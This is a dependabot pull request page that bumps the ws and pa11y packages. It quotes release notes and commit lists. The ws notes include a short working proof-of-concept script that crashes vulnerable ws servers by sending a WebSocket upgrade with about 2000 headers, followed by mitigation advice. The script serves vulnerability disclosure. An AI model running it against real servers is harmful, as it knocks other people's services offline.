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Canonical Kubernetes is an opinionated and CNCF conformant Kubernetes operated by Snaps and Charms, which come together to bring simplified operations and an enhanced security posture on any infrastructure.
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Bump ws and pa11y in /docs/tools/.sphinx #504

Closed dependabot[bot] closed 2 weeks ago

dependabot[bot] commented 2 weeks ago

Bumps ws to 8.17.1 and updates ancestor dependency pa11y. These dependencies need to be updated together.

Updates ws from 8.13.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view


Updates pa11y from 7.0.0 to 8.0.0

Release notes

Sourced from pa11y's releases.

v8.0.0

Pa11y 8 makes the latest version of Puppeteer (22) available to Pa11y and updates several other dependencies.

Changes

  • Major dependency changes
    • Upgrade puppeteer to 22 from 20
      • This may affect Pa11y's operating system support and the behaviour of Pa11y's browser automation.
    • Upgrade commander to 12 from 11
    • Remove dependency p-timeout
      • This will only affect users who had depended on p-timeout's presence as a side effect of installing Pa11y.
  • Minor dependency changes:
    • Upgrade semver to 7.6 from 7.5

Many thanks to @​aarongoldenthal for contributing these dependency upgrades to Pa11y.

Full diff

Changelog

Sourced from pa11y's changelog.

8.0.0 (2024-03-25)

Pa11y 8 makes the latest version of Puppeteer (22) available to Pa11y and updates several other dependencies.

Changes in pa11y@8

  • Major dependency changes
    • Upgrade puppeteer to 22 from 20
      • This may affect Pa11y's operating system support and the behaviour of Pa11y's browser automation.
    • Upgrade commander to 12 from 11
    • Remove dependency p-timeout
      • This will only affect users who had depended on p-timeout's presence as a side effect of installing Pa11y.
  • Minor dependency changes:
    • Upgrade semver to 7.6 from 7.5

Many thanks to @​aarongoldenthal for contributing these dependency upgrades to Pa11y.

Full diff for pa11y@8

Commits
  • b3d7c84 Release pa11y@8 (#696)
  • 2843d29 Return to using Mocha test framework in place of Jest (#695)
  • 0422215 Use native AbortSignal in place of p-timeout (#694)
  • 3b52b11 Update puppeteer to latest supported version (and other dependency updates) (...
  • See full diff in compare view


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